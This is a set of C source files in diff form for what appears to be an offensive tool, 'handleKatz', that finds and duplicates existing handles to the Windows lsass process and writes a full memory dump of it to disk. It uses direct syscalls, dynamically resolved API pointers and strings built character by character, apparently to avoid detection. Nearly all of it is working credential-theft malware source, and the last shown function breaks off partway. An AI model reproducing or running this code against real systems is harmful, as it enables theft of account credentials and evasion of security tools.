ULONG i, nmod;
|
||||
RVA rva_base;
|
||||
DWORD flags_out;
|
||||
unsigned sz;
|
||||
|
||||
for (i = nmod = 0; i < dc->num_modules; i++)
|
||||
{
|
||||
if ((dc->modules[i].is_elf && dump_elf) ||
|
||||
(!dc->modules[i].is_elf && !dump_elf))
|
||||
nmod++;
|
||||
}
|
||||
|
||||
mdModuleList.NumberOfModules = 0;
|
||||
rva_base = dc->rva;
|
||||
dc->rva += sz = sizeof(mdModuleList.NumberOfModules) + sizeof(mdModule) * nmod;
|
||||
|
||||
for (i = 0; i < dc->num_modules; i++)
|
||||
{
|
||||
if ((dc->modules[i].is_elf && !dump_elf) ||
|
||||
(!dc->modules[i].is_elf && dump_elf))
|
||||
continue;
|
||||
|
||||
flags_out = ModuleWriteModule | ModuleWriteMiscRecord | ModuleWriteCvRecord;
|
||||
if (dc->type & MiniDumpWithDataSegs)
|
||||
flags_out |= ModuleWriteDataSeg;
|
||||
if (dc->type & MiniDumpWithProcessThreadData)
|
||||
flags_out |= ModuleWriteTlsData;
|
||||
if (dc->type & MiniDumpWithCodeSegs)
|
||||
flags_out |= ModuleWriteCodeSegs;
|
||||
|
||||
ms->Length = (function_ptrs->_lstrlenW(dc->modules[i].name) + 1) * sizeof(WCHAR);
|
||||
|
||||
function_ptrs->_lstrcpyW(ms->Buffer, dc->modules[i].name);
|
||||
|
||||
if (flags_out & ModuleWriteModule)
|
||||
{
|
||||
mdModule.BaseOfImage = dc->modules[i].base;
|
||||
mdModule.SizeOfImage = dc->modules[i].size;
|
||||
mdModule.CheckSum = dc->modules[i].checksum;
|
||||
mdModule.TimeDateStamp = dc->modules[i].timestamp;
|
||||
mdModule.ModuleNameRva = dc->rva;
|
||||
ms->Length -= sizeof(WCHAR);
|
||||
append(dc, ms, sizeof(ULONG) + ms->Length + sizeof(WCHAR), function_ptrs);
|
||||
fetch_module_versioninfo(ms->Buffer, &mdModule.VersionInfo, function_ptrs);
|
||||
mdModule.CvRecord.DataSize = 0;
|
||||
mdModule.CvRecord.Rva = 0;
|
||||
mdModule.MiscRecord.DataSize = 0;
|
||||
mdModule.MiscRecord.Rva = 0;
|
||||
mdModule.Reserved0 = 0;
|
||||
mdModule.Reserved1 = 0;
|
||||
writeat(dc,
|
||||
rva_base + sizeof(mdModuleList.NumberOfModules) +
|
||||
mdModuleList.NumberOfModules++ * sizeof(mdModule),
|
||||
&mdModule, sizeof(mdModule), function_ptrs);
|
||||
}
|
||||
}
|
||||
writeat(dc, rva_base, &mdModuleList.NumberOfModules,
|
||||
sizeof(mdModuleList.NumberOfModules), function_ptrs);
|
||||
|
||||
return sz;
|
||||
}
|
||||
|
||||
BOOL validate_addr64(DWORD64 addr)
|
||||
{
|
||||
if (sizeof(void*) == sizeof(int) && (addr >> 32))
|
||||
{
|
||||
//SetLastError(ERROR_INVALID_PARAMETER);
|
||||
return FALSE;
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
BOOL pe_load_nt_header(HANDLE hProc, DWORD64 base, IMAGE_NT_HEADERS* nth)
|
||||
{
|
||||
|
||||
//_NtReadVirtualMemory NtReadVirtualMemory = (_NtReadVirtualMemory)
|
||||
// GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtReadVirtualMemory");
|
||||
// Uncommented and using direct syscalls
|
||||
|
||||
IMAGE_DOS_HEADER dos;
|
||||
|
||||
NTSTATUS res = NtReadVirtualMemory(hProc, (PVOID*)(DWORD_PTR)base, &dos, sizeof(dos), NULL);
|
||||
|
||||
NTSTATUS res2 = NtReadVirtualMemory(hProc, (PVOID*)(DWORD_PTR)(base + dos.e_lfanew), nth, sizeof(*nth), NULL);
|
||||
|
||||
return !res && dos.e_magic == IMAGE_DOS_SIGNATURE && !res2 && nth->Signature == IMAGE_NT_SIGNATURE;
|
||||
}
|
||||
|
||||
static BOOL add_module(struct dump_context* dc, const WCHAR* name,
|
||||
DWORD64 base, DWORD size, DWORD timestamp, DWORD checksum,
|
||||
BOOL is_elf, struct fPtrs* function_pointers)
|
||||
{
|
||||
|
||||
if (!dc->modules)
|
||||
{
|
||||
dc->alloc_modules = 32;
|
||||
dc->modules = (struct dump_module*)function_pointers->_HeapAlloc(function_pointers->_GetProcessHeap(), 0,
|
||||
dc->alloc_modules * sizeof(*dc->modules));
|
||||
}
|
||||
else if (dc->num_modules >= dc->alloc_modules)
|
||||
{
|
||||
dc->alloc_modules *= 2;
|
||||
dc->modules = (struct dump_module*)function_pointers->_HeapReAlloc(function_pointers->_GetProcessHeap(), 0, dc->modules,
|
||||
dc->alloc_modules * sizeof(*dc->modules));
|
||||
}
|
||||
if (!dc->modules)
|
||||
{
|
||||
dc->alloc_modules = dc->num_modules = 0;
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
function_pointers->_GetModuleFileNameExW(dc->handle, (HMODULE)(DWORD_PTR)base, dc->modules[dc->num_modules].name, ARRAY_SIZE(dc->modules[dc->num_modules].name));
|
||||
|
||||
dc->modules[dc->num_modules].base = base;
|
||||
dc->modules[dc->num_modules].size = size;
|
||||
dc->modules[dc->num_modules].timestamp = timestamp;
|
||||
dc->modules[dc->num_modules].checksum = checksum;
|
||||
dc->modules[dc->num_modules].is_elf = is_elf;
|
||||
dc->num_modules++;
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
|
||||
static BOOL WINAPI fetch_pe_module_info_cb(PCWSTR name, DWORD64 base, ULONG size,
|
||||
PVOID user, struct fPtrs* function_pointers)
|
||||
{
|
||||
struct dump_context* dc = (struct dump_context*)user;
|
||||
IMAGE_NT_HEADERS nth;
|
||||
|
||||
if (!validate_addr64(base)) return FALSE;
|
||||
|
||||
if (pe_load_nt_header(dc->handle, base, &nth))
|
||||
add_module((struct dump_context*)user, name, base, size,
|
||||
nth.FileHeader.TimeDateStamp, nth.OptionalHeader.CheckSum,
|
||||
FALSE, function_pointers);
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
static const WCHAR* get_filename(const WCHAR* name, const WCHAR* endptr, struct fPtrs* function_pointers)
|
||||
{
|
||||
|
||||
const WCHAR* ptr;
|
||||
char fwd_slash[] = { '/', 0x00 };
|
||||
char back_slash[] = { '\\', 0x00 };
|
||||
|
||||
if (!endptr) endptr = name + function_pointers->_lstrlenW(name);
|
||||
for (ptr = endptr - 1; ptr >= name; ptr--)
|
||||
{
|
||||
if (*ptr == fwd_slash[0] || *ptr == back_slash[0]) break;
|
||||
}
|
||||
return ++ptr;
|
||||
}
|
||||
|
||||
static int match_ext(const WCHAR* ptr, size_t len, struct fPtrs* function_pointers)
|
||||
{
|
||||
|
||||
WCHAR S_AcmW[] = { '.','a','c','m','\0' };
|
||||
WCHAR S_DllW[] = { '.','d','l','l','\0' };
|
||||
WCHAR S_DrvW[] = { '.','d','r','v','\0' };
|
||||
WCHAR S_ExeW[] = { '.','e','x','e','\0' };
|
||||
WCHAR S_OcxW[] = { '.','o','c','x','\0' };
|
||||
WCHAR S_VxdW[] = { '.','v','x','d','\0' };
|
||||
WCHAR* const ext[] = { S_AcmW, S_DllW, S_DrvW, S_ExeW, S_OcxW, S_VxdW, NULL };
|
||||
|
||||
WCHAR* const* e;
|
||||
size_t l;
|
||||
|
||||
for (e = ext; *e; e++)
|
||||
{
|
||||
l = function_pointers->_lstrlenW(*e);
|
||||
if (l >= len) return 0;
|
||||
if (function_pointers->_lstrcmpW(&ptr[len - l], *e)) continue;
|
||||
return l;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
static void module_fill_module(const WCHAR* in, WCHAR* out, size_t size, struct fPtrs * function_ptrs)
|
||||
{
|
||||
|
||||
WCHAR S_DotSoW[] = { '.','s','o','\0' };
|
||||
WCHAR S_ElfW[] = { '<','e','l','f','>','\0' };
|
||||
|
||||
const WCHAR* ptr, * endptr;
|
||||
size_t len, l;
|
||||
|
||||
ptr = get_filename(in, endptr = in + function_ptrs->_lstrlenW(in), function_ptrs);
|
||||
len = min(endptr - ptr, size - 1);
|
||||
//memcpy(out, ptr, len * sizeof(WCHAR));
|
||||
function_ptrs->_CopyMemory(out, (void*)ptr, size -1);
|
||||
/*for (uint32_t i = 0; i < size -1 ; i++) {
|
||||
*((uint8_t*)(out)+i) = *((uint8_t*)(ptr)+i);
|
||||
}*/
|
||||
|
||||
out[len] = '\0';
|
||||
if (len > 4 && (l = match_ext(out, len, function_ptrs)))
|
||||
out[len - l] = '\0';
|
||||
else
|
||||
{
|
||||
if (len > 3 && !function_ptrs->_lstrcmpW(&out[len - 3], S_DotSoW) &&
|
||||
(l = match_ext(out, len - 3, function_ptrs)))
|
||||
function_ptrs->_lstrcpyW(&out[len - l - 3], S_ElfW);
|
||||
}
|
||||
while ((*out = mytowlower(*out))) out++;
|
||||
}
|
||||
|
||||
static void fetch_modules_info(struct dump_context* dc, struct fPtrs* function_ptrs)
|
||||
{
|
||||
|
||||
HMODULE modules[512] = { 0x00 };
|
||||
MODULEINFO mi = { 0x00 };
|
||||
WCHAR baseW[256] = { 0x00 }, modW[256] = { 0x00 };
|
||||
|
||||
DWORD i = 0x00, sz = 0x00;
|
||||
|
||||
function_ptrs->_EnumProcessModules(dc->handle, (HMODULE*)&modules, 512 * sizeof(HMODULE), &sz);
|
||||
|
||||
sz /= sizeof(HMODULE);
|
||||
|
||||
for (i = 0; i < sz; i++) {
|
||||
|
||||
if (!function_ptrs->_GetModuleInformation(dc->handle, modules[i], &mi, sizeof(mi)))
|
||||
continue;
|
||||
|
||||
if (!function_ptrs->_GetModuleBaseNameW(dc->handle, modules[i], baseW, ARRAY_SIZE(baseW)))
|
||||
continue;
|
||||
|
||||
module_fill_module(baseW, modW, ARRAY_SIZE(modW), function_ptrs);
|
||||
fetch_pe_module_info_cb(modW, (DWORD_PTR)mi.lpBaseOfDll, mi.SizeOfImage,
|
||||
dc, function_ptrs);
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
BOOL MiniDumpWriteDumpA(HANDLE hProcess, DWORD pid, HANDLE hFile, struct fPtrs* function_ptrs)
|
||||
{
|
||||
|
||||
const MINIDUMP_DIRECTORY emptyDir = { UnusedStream, {0, 0} };
|
||||
MINIDUMP_HEADER mdHead;
|
||||
MINIDUMP_DIRECTORY mdDir;
|
||||
DWORD i = 0x00, nStreams = 0x00, idx_stream = 0x00;
|
||||
struct dump_context dc;
|
||||
|
||||
const DWORD Flags = MiniDumpWithFullMemory |
|
||||
MiniDumpWithFullMemoryInfo |
|
||||
MiniDumpWithUnloadedModules;
|
||||
|
||||
MINIDUMP_TYPE DumpType = (MINIDUMP_TYPE)Flags;
|
||||
|
||||
dc.hFile = hFile;
|
||||
dc.pid = pid;
|
||||
dc.handle = hProcess;
|
||||
dc.modules = NULL;
|
||||
dc.num_modules = 0;
|
||||
dc.alloc_modules = 0;
|
||||
dc.threads = NULL;
|
||||
dc.num_threads = 0;
|
||||
dc.type = DumpType;
|
||||
dc.mem = NULL;
|
||||
dc.num_mem = 0;
|
||||
dc.alloc_mem = 0;
|
||||
dc.mem64 = NULL;
|
||||
dc.num_mem64 = 0;
|
||||
dc.alloc_mem64 = 0;
|
||||
dc.rva = 0;
|
||||
|
||||
if (!fetch_process_info(&dc, function_ptrs)) return FALSE;
|
||||
|
||||
fetch_modules_info(&dc, function_ptrs);
|
||||
nStreams = 3;
|
||||
nStreams = (nStreams + 3) & ~3;
|
||||
|
||||
// Write Header
|
||||
mdHead.Signature = 0x504d444d; // minidump_signature
|
||||
mdHead.Version = MINIDUMP_VERSION;
|
||||
mdHead.NumberOfStreams = nStreams;
|
||||
mdHead.CheckSum = 0;
|
||||
mdHead.StreamDirectoryRva = sizeof(mdHead);
|
||||
//mdHead.TimeDateStamp = time(NULL);
|
||||
mdHead.Flags = DumpType;
|
||||
append(&dc, &mdHead, sizeof(mdHead), function_ptrs);
|
||||
|
||||
// Write Stream Directories
|
||||
dc.rva += nStreams * sizeof(mdDir);
|
||||
idx_stream = 0;
|
||||
|
||||
// Write Data Stream Directories
|
||||
//
|
||||
// Must be first in MiniDump
|
||||
mdDir.StreamType = SystemInfoStream;
|
||||
mdDir.Location.Rva = dc.rva;
|
||||
mdDir.Location.DataSize = dump_system_info(&dc, function_ptrs);
|
||||
writeat(&dc, mdHead.StreamDirectoryRva + idx_stream++ * sizeof(mdDir),
|
||||
&mdDir, sizeof(mdDir), function_ptrs);
|
||||
|
||||
mdDir.StreamType = ModuleListStream;
|
||||
mdDir.Location.Rva = dc.rva;
|
||||
mdDir.Location.DataSize = dump_modules(&dc, FALSE, function_ptrs);
|
||||
writeat(&dc, mdHead.StreamDirectoryRva + idx_stream++ * sizeof(mdDir),
|
||||
&mdDir, sizeof(mdDir), function_ptrs);
|
||||
|
||||
fetch_memory64_info(&dc, function_ptrs);
|
||||
mdDir.StreamType = Memory64ListStream;
|
||||
mdDir.Location.Rva = dc.rva;
|
||||
mdDir.Location.DataSize = dump_memory64_info(&dc, function_ptrs);
|
||||
writeat(&dc, mdHead.StreamDirectoryRva + idx_stream++ * sizeof(mdDir),
|
||||
&mdDir, sizeof(mdDir), function_ptrs);
|
||||
|
||||
// fill the remaining directory entries with 0's (unused stream types)
|
||||
// NOTE: this should always come last in the dump!
|
||||
for (i = idx_stream; i < nStreams; i++)
|
||||
writeat(&dc, mdHead.StreamDirectoryRva + i * sizeof(emptyDir), &emptyDir, sizeof(emptyDir), function_ptrs);
|
||||
|
||||
function_ptrs->_HeapFree(function_ptrs->_GetProcessHeap(), 0, dc.mem);
|
||||
function_ptrs->_HeapFree(function_ptrs->_GetProcessHeap(), 0, dc.mem64);
|
||||
function_ptrs->_HeapFree(function_ptrs->_GetProcessHeap(), 0, dc.modules);
|
||||
function_ptrs->_HeapFree(function_ptrs->_GetProcessHeap(), 0, dc.threads);
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
+129
@@ -0,0 +1,129 @@
|
||||
#pragma once
|
||||
|
||||
#include "windows.h"
|
||||
#include <dbghelp.h>
|
||||
|
||||
#include "APIResolve.h"
|
||||
//#include "syscalls.h"
|
||||
#include "Misc.h"
|
||||
|
||||
|
||||
|
||||
#define ARRAY_SIZE(a) (sizeof(a)/sizeof((a)[0]))
|
||||
|
||||
struct dump_context
|
||||
{
|
||||
/* process & thread information */
|
||||
struct process* process;
|
||||
DWORD pid;
|
||||
HANDLE handle;
|
||||
unsigned flags_out;
|
||||
/* thread information */
|
||||
struct dump_thread* threads;
|
||||
unsigned num_threads;
|
||||
/* module information */
|
||||
struct dump_module* modules;
|
||||
unsigned num_modules;
|
||||
unsigned alloc_modules;
|
||||
/* exception information */
|
||||
/* output information */
|
||||
MINIDUMP_TYPE type;
|
||||
HANDLE hFile;
|
||||
RVA rva;
|
||||
struct dump_memory* mem;
|
||||
unsigned num_mem;
|
||||
unsigned alloc_mem;
|
||||
struct dump_memory64* mem64;
|
||||
unsigned num_mem64;
|
||||
unsigned alloc_mem64;
|
||||
/* callback information */
|
||||
MINIDUMP_CALLBACK_INFORMATION* cb;
|
||||
} ;
|
||||
|
||||
struct line_info
|
||||
{
|
||||
ULONG_PTR is_first : 1,
|
||||
is_last : 1,
|
||||
is_source_file : 1,
|
||||
line_number;
|
||||
union
|
||||
{
|
||||
ULONG_PTR pc_offset; /* if is_source_file isn't set */
|
||||
unsigned source_file; /* if is_source_file is set */
|
||||
} u;
|
||||
};
|
||||
|
||||
struct module_pair
|
||||
{
|
||||
struct process* pcs;
|
||||
struct module* requested; /* in: to module_get_debug() */
|
||||
struct module* effective; /* out: module with debug info */
|
||||
};
|
||||
|
||||
enum pdb_kind { PDB_JG, PDB_DS };
|
||||
|
||||
struct pdb_lookup
|
||||
{
|
||||
const char* filename;
|
||||
enum pdb_kind kind;
|
||||
DWORD age;
|
||||
DWORD timestamp;
|
||||
GUID guid;
|
||||
};
|
||||
|
||||
struct cpu_stack_walk
|
||||
{
|
||||
HANDLE hProcess;
|
||||
HANDLE hThread;
|
||||
BOOL is32;
|
||||
struct cpu* cpu;
|
||||
union
|
||||
{
|
||||
struct
|
||||
{
|
||||
PREAD_PROCESS_MEMORY_ROUTINE f_read_mem;
|
||||
PTRANSLATE_ADDRESS_ROUTINE f_xlat_adr;
|
||||
PFUNCTION_TABLE_ACCESS_ROUTINE f_tabl_acs;
|
||||
PGET_MODULE_BASE_ROUTINE f_modl_bas;
|
||||
} s32;
|
||||
struct
|
||||
{
|
||||
PREAD_PROCESS_MEMORY_ROUTINE64 f_read_mem;
|
||||
PTRANSLATE_ADDRESS_ROUTINE64 f_xlat_adr;
|
||||
PFUNCTION_TABLE_ACCESS_ROUTINE64 f_tabl_acs;
|
||||
PGET_MODULE_BASE_ROUTINE64 f_modl_bas;
|
||||
} s64;
|
||||
} u;
|
||||
};
|
||||
|
||||
struct dump_memory
|
||||
{
|
||||
ULONG64 base;
|
||||
ULONG size;
|
||||
ULONG rva;
|
||||
};
|
||||
|
||||
struct dump_memory64
|
||||
{
|
||||
ULONG64 base;
|
||||
ULONG64 size;
|
||||
};
|
||||
|
||||
struct dump_module
|
||||
{
|
||||
unsigned is_elf;
|
||||
ULONG64 base;
|
||||
ULONG size;
|
||||
DWORD timestamp;
|
||||
DWORD checksum;
|
||||
WCHAR name[MAX_PATH];
|
||||
};
|
||||
|
||||
struct dump_thread
|
||||
{
|
||||
ULONG tid;
|
||||
ULONG prio_class;
|
||||
ULONG curr_prio;
|
||||
};
|
||||
|
||||
BOOL MiniDumpWriteDumpA(HANDLE hProcess, DWORD pid, HANDLE hFile, struct fPtrs*);
|
||||
@@ -0,0 +1,4 @@
|
||||
#include "windows.h"
|
||||
#include <stdint.h>
|
||||
|
||||
DWORD handleKatz(BOOL b_only_recon, char* ptr_output_path, uint32_t pid, char* ptr_buf_output);
|
||||
@@ -0,0 +1,164 @@
|
||||
#include "windows.h"
|
||||
|
||||
#include "APIResolve.h"
|
||||
#include "DumpTools.h"
|
||||
#include "HandleTools.h"
|
||||
#include "Misc.h"
|
||||
#include "syscalls.h"
|
||||
|
||||
DWORD dump(DWORD, char*, char*, struct fPtrs*);
|
||||
DWORD recon(char*, struct fPtrs*);
|
||||
|
||||
#ifdef ENCODE
|
||||
|
||||
DWORD
|
||||
handleKatz(void) {
|
||||
BOOL b_only_recon = false;
|
||||
char* ptr_output_path = {'C' ...};
|
||||
uint32_t pid = 1337;
|
||||
|
||||
char *ptr_buf_output = (char*)ptrs_functions._VirtualAlloc(0, 0x4096, MEM_COMMIT, PAGE_READWRITE);
|
||||
if(ptr_buf_output == NULL)
|
||||
goto cleanup;
|
||||
|
||||
#else
|
||||
DWORD
|
||||
handleKatz(BOOL b_only_recon, char* ptr_output_path, uint32_t pid, char* ptr_buf_output) {
|
||||
#endif
|
||||
|
||||
struct fPtrs ptrs_functions = { 0 };
|
||||
DWORD dw_success = FAIL;
|
||||
|
||||
dw_success = resolveFptrs(&ptrs_functions);
|
||||
if (dw_success == FAIL) {
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
dw_success = setDebugPrivilege(&ptrs_functions);
|
||||
if (dw_success == FAIL) {
|
||||
char msg_no_admin[] = { '[','-',']',' ','C','o','u','l','d',' ','n','o','t',' ','e','n','a','b','l','e',' ','D','e','b','u','g',' ','p','r','i','v','i','l','e','g','e','\n', 0x00 };
|
||||
ptrs_functions._lstrcatA((char*)ptr_buf_output, msg_no_admin);
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
if (b_only_recon) {
|
||||
|
||||
char msg_do_recon[] = { '[','*',']',' ','C','h','e','c','k','i','n','g',' ','f','o','r',' ','p','r','o','c','e','s','s','e','s',' ','w','i','t','h',' ','a',' ','s','u','i','t','a','b','l','e',' ','h','a','n','d','l','e',' ','t','o',' ','l','s','a','s','s',' ','.','.','.',' ','\n', 0x00 };
|
||||
ptrs_functions._lstrcatA((char*)ptr_buf_output, msg_do_recon);
|
||||
|
||||
dw_success = recon((char*)ptr_buf_output, &ptrs_functions);
|
||||
|
||||
} else {
|
||||
|
||||
char msg_attempting_clone[] = { '[','*',']',' ','A','t','t','e','m','p','t','i','n','g',' ','t','o',' ','c','l','o','n','e',' ','l','s','a','s','s',' ','h','a','n','d','l','e',' ','f','r','o','m',' ','p','i','d',':',' ','%','d','\n', 0x00};
|
||||
char msg_outfile[] = { '[','*',']',' ','O','u','t','f','i','l','e',':',' ','%','s','\n', 0x00};
|
||||
|
||||
char line[512] = { 0x00 };
|
||||
char line_1[512] = { 0x00 };
|
||||
|
||||
ptrs_functions._wsprintfA(line, msg_attempting_clone, pid);
|
||||
ptrs_functions._wsprintfA(line_1, msg_outfile, ptr_output_path);
|
||||
|
||||
ptrs_functions._lstrcatA((char*)ptr_buf_output, line);
|
||||
ptrs_functions._lstrcatA((char*)ptr_buf_output, line_1);
|
||||
|
||||
dw_success = dump(pid, (char*)ptr_buf_output, ptr_output_path, &ptrs_functions);
|
||||
|
||||
}
|
||||
|
||||
dw_success = SUCCESS;
|
||||
|
||||
cleanup:
|
||||
|
||||
return dw_success;
|
||||
|
||||
}
|
||||
|
||||
DWORD
|
||||
dump(DWORD pid, char* ptr_output, char* outpath, struct fPtrs* ptrs_functions) {
|
||||
|
||||
HANDLE h_lsass = NULL, h_f_dump = NULL;
|
||||
DWORD dw_pid_lsass = 0x00, dw_success = FAIL;
|
||||
PSYSTEM_HANDLE_INFORMATION handle_info = NULL;
|
||||
|
||||
handle_info = get_handles(ptrs_functions);
|
||||
if (handle_info == NULL) {
|
||||
char msg_failed_retrieve_handles[] = { '[','-',']',' ','F','a','i','l','e','d',' ','t','o',' ','g','e','t',' ','a',' ','l','i','s','t',' ','o','f',' ','h','a','n','d','l','e','s','\n', 0x00 };
|
||||
ptrs_functions->_lstrcatA(ptr_output, msg_failed_retrieve_handles);
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
h_lsass = check_handles(handle_info, pid, ptr_output, ptrs_functions);
|
||||
if (h_lsass == NULL) {
|
||||
char msg_could_not_find_handle[] = { '[','-',']',' ','C','o','u','l','d',' ','n','o','t',' ','f','i','n','d',' ','a','p','p','r','o','p','r','i','a','t','e',' ','h','a','n','d','l','e',' ','i','n',' ','g','i','v','e','n',' ','p','i','d','\n', 0x00};
|
||||
ptrs_functions->_lstrcatA(ptr_output, msg_could_not_find_handle);
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
char msg_dumping[] = { '[','*',']',' ','N','o','w',' ','t','r','y','i','n','g',' ','t','o',' ','d','u','m','p',' ','l','s','a','s','s',' ','.','.','.',' ','\n', 0x00};
|
||||
ptrs_functions->_lstrcatA(ptr_output, msg_dumping);
|
||||
|
||||
h_f_dump = ptrs_functions->_CreateFileA(outpath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||
if (h_f_dump == INVALID_HANDLE_VALUE) {
|
||||
char msg_file_error[] = { '[','-',']',' ','C','o','u','l','d',' ','n','o','t',' ','w','r','i','t','e',' ','t','o',' ','s','p','e','c','i','f','i','e','d',' ','o','u','t','p','u','t','f','i','l','e','\n', 0x00};
|
||||
ptrs_functions->_lstrcatA(ptr_output, msg_file_error);
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
dw_pid_lsass = ptrs_functions->_GetProcessId(h_lsass);
|
||||
dw_success = MiniDumpWriteDumpA(h_lsass, dw_pid_lsass, h_f_dump, ptrs_functions);
|
||||
|
||||
if (dw_success == FAIL) {
|
||||
char msg_dump_fail[] = { '[','-',']',' ','S','o','m','e','t','h','i','n','g',' ','w','e','n','t',' ','w','r','o','n','g',' ','w','h','i','l','e',' ','d','u','m','p','i','n','g','\n', 0x00 };
|
||||
ptrs_functions->_lstrcatA(ptr_output, msg_dump_fail);
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
char msg_complete[] = { '[','+',']',' ','L','s','a','s','s',' ','d','u','m','p',' ','i','s',' ','c','o','m','p','l','e','t','e','\n', 0x00};
|
||||
ptrs_functions->_lstrcatA(ptr_output, msg_complete);
|
||||
|
||||
dw_success = SUCCESS;
|
||||
|
||||
cleanup:
|
||||
|
||||
if (h_f_dump)
|
||||
ptrs_functions->_CloseHandle(h_f_dump);
|
||||
|
||||
if (h_lsass)
|
||||
ptrs_functions->_CloseHandle(h_lsass);
|
||||
|
||||
if (handle_info != NULL)
|
||||
ptrs_functions->_VirtualFree(handle_info, 0, MEM_RELEASE);
|
||||
|
||||
return dw_success;
|
||||
|
||||
}
|
||||
|
||||
|
||||
DWORD
|
||||
recon(char* ptr_output, struct fPtrs* ptrs_functions) {
|
||||
|
||||
PSYSTEM_HANDLE_INFORMATION handle_info = NULL;
|
||||
DWORD dw_success = FALSE;
|
||||
|
||||
handle_info = get_handles(ptrs_functions);
|
||||
if (handle_info == NULL) {
|
||||
|
||||
char msg_failed_retrieve_handles[] = { '[','-',']',' ','F','a','i','l','e','d',' ','t','o',' ','g','e','t',' ','a',' ','l','i','s','t',' ','o','f',' ','h','a','n','d','l','e','s','\n', 0x00};
|
||||
ptrs_functions->_lstrcatA(ptr_output, msg_failed_retrieve_handles);
|
||||
goto cleanup;
|
||||
|
||||
}
|
||||
|
||||
check_handles(handle_info, 0, ptr_output, ptrs_functions);
|
||||
|
||||
dw_success = SUCCESS;
|
||||
|
||||
cleanup:
|
||||
|
||||
if (handle_info != NULL)
|
||||
ptrs_functions->_VirtualFree(handle_info, 0, MEM_RELEASE);
|
||||
|
||||
return dw_success;
|
||||
|
||||
}
|
||||
@@ -0,0 +1,127 @@
|
||||
#include "HandleTools.h"
|
||||
|
||||
|
||||
PSYSTEM_HANDLE_INFORMATION get_handles(struct fPtrs* ptr_functions) {
|
||||
|
||||
NTSTATUS status = STATUS_UNSUCCESSFUL;
|
||||
PVOID buffer = NULL;
|
||||
ULONG bufferSize = 0;
|
||||
PSYSTEM_HANDLE_INFORMATION handleInfo = NULL;
|
||||
|
||||
do {
|
||||
status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, buffer, bufferSize, &bufferSize);
|
||||
if (!NT_SUCCESS(status)) {
|
||||
if (status == STATUS_INFO_LENGTH_MISMATCH) {
|
||||
if (buffer != NULL)
|
||||
ptr_functions->_VirtualFree(buffer, 0, MEM_RELEASE);
|
||||
buffer = ptr_functions->_VirtualAlloc(NULL, bufferSize, MEM_COMMIT, PAGE_READWRITE);
|
||||
continue;
|
||||
}
|
||||
break;
|
||||
}
|
||||
else {
|
||||
handleInfo = (PSYSTEM_HANDLE_INFORMATION)buffer;
|
||||
break;
|
||||
}
|
||||
} while (1);
|
||||
|
||||
return handleInfo;
|
||||
|
||||
}
|
||||
|
||||
HANDLE check_handles(PSYSTEM_HANDLE_INFORMATION handle_info, DWORD in_pid, char* ptr_output, struct fPtrs* ptr_functions) {
|
||||
|
||||
POBJECT_TYPE_INFORMATION objectTypeInfo = NULL;
|
||||
PSYSTEM_HANDLE entry_info = NULL;
|
||||
NTSTATUS status = 0;
|
||||
HANDLE dupHandle = NULL, h_process = NULL, h_return = NULL;
|
||||
ULONG idx_handle = 0x00;
|
||||
|
||||
OBJECT_ATTRIBUTES ObjectAttributes;
|
||||
InitializeObjectAttributes(&ObjectAttributes, NULL, 0, NULL, NULL);
|
||||
|
||||
CLIENT_ID uPid = { 0 };
|
||||
|
||||
char handle_name[MAX_PATH] = { 0 };
|
||||
char process_path[MAX_PATH] = { 0 };
|
||||
char* process_name = NULL;
|
||||
|
||||
wchar_t str_process[] = { L'P',L'r',L'o',L'c',L'e',L's',L's', 0x00 };
|
||||
char str_lsass[] = { 'l','s','a','s','s', 0x00 };
|
||||
|
||||
for (idx_handle = 0; idx_handle < handle_info->HandleCount; idx_handle++) {
|
||||
|
||||
entry_info = &handle_info->Handles[idx_handle];
|
||||
|
||||
if (in_pid && in_pid != entry_info->ProcessId)
|
||||
continue;
|
||||
|
||||
// Checking some granted access. The internet says, NtDuplicateObject() might hang on these rights
|
||||
if (entry_info->GrantedAccess != 0x0012019f && entry_info->GrantedAccess != 0x001a019f && entry_info->GrantedAccess != 0x00120189 && entry_info->GrantedAccess != 0x00100000) {
|
||||
|
||||
if (objectTypeInfo != NULL) {
|
||||
ptr_functions->_VirtualFree(objectTypeInfo, 0, MEM_RELEASE);
|
||||
objectTypeInfo = NULL;
|
||||
}
|
||||
|
||||
uPid.UniqueProcess = entry_info->ProcessId;
|
||||
uPid.UniqueThread = 0;
|
||||
|
||||
NtOpenProcess(&h_process, PROCESS_QUERY_INFORMATION | PROCESS_DUP_HANDLE, &ObjectAttributes, &uPid);
|
||||
NtDuplicateObject(h_process, (HANDLE)(uint64_t)entry_info->Handle, NtCurrentProcess(), &dupHandle, PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, 0, 0);
|
||||
|
||||
objectTypeInfo = (POBJECT_TYPE_INFORMATION)ptr_functions->_VirtualAlloc(0, 0x1000, MEM_COMMIT, PAGE_READWRITE);
|
||||
if (objectTypeInfo == NULL)
|
||||
continue;
|
||||
|
||||
status = NtQueryObject(dupHandle, (OBJECT_INFORMATION_CLASS)ObjectTypeInformation, objectTypeInfo, 0x1000, NULL);
|
||||
if (!NT_SUCCESS(status)){
|
||||
continue;
|
||||
}
|
||||
|
||||
if (ptr_functions->_strcmpW(objectTypeInfo->TypeName.pBuffer, str_process))
|
||||
continue;
|
||||
|
||||
if (!ptr_functions->_GetModuleFileNameExA(dupHandle, NULL, handle_name, MAX_PATH))
|
||||
continue;
|
||||
|
||||
if (!ptr_functions->_GetProcessImageFileNameA(h_process, process_path, MAX_PATH))
|
||||
continue;
|
||||
|
||||
